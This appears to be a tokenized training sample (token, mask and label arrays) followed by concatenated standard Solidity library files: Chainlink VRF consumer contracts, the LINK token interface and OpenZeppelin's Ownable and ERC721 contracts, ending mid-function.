[ 1, 1991, 312, 474, 598, 6835, 1758, 358, 312, 474, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1778, 49, 474, 288, 203, 565, 445, 1778, 49, 474, 1803, 12, 2867, 6835, 3178, 16, 1758, 5793, 3178, 16, 2254, 5034, 818, 11244, 13, 1071, 8843, 429, 95, 203, 540, 203, 540, 203, 3639, 309, 261, 3576, 18, 1132, 480, 818, 11244, 380, 261, 20, 18, 3461, 225, 2437, 3719, 15226, 5621, 203, 540, 203, 3639, 3596, 11182, 276, 273, 3596, 11182, 12, 16351, 3178, 1769, 203, 540, 203, 3639, 309, 261, 2107, 11244, 405, 276, 18, 588, 11429, 10756, 15226, 5621, 203, 540, 203, 540, 203, 3639, 364, 261, 11890, 277, 33, 20, 31, 277, 411, 818, 11244, 31, 277, 27245, 95, 203, 3639, 289, 27699, 565, 289, 27699, 565, 445, 1778, 49, 474, 1803, 12, 2867, 6835, 3178, 16, 1758, 5793, 3178, 16, 2254, 5034, 818, 11244, 13, 1071, 8843, 429, 95, 203, 540, 203, 540, 203, 3639, 309, 261, 3576, 18, 1132, 480, 818, 11244, 380, 261, 20, 18, 3461, 225, 2437, 3719, 15226, 5621, 203, 540, 203, 3639, 3596, 11182, 276, 273, 3596, 11182, 12, 16351, 3178, 1769, 203, 540, 203, 3639, 309, 261, 2107, 11244, 405, 276, 18, 588, 11429, 10756, 15226, 5621, 203, 540, 203, 540, 203, 3639, 364, 261, 11890, 277, 33, 20, 31, 277, 411, 818, 11244, 31, 277, 27245, 95, 203, 3639, 289, 27699, 565, 289, 27699, 5411, 276, 18, 4626, 49, 474, 95, 1132, 30, 20, 18, 3461, 225, 2437, 97, 12, 15330, 3178, 1769, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; 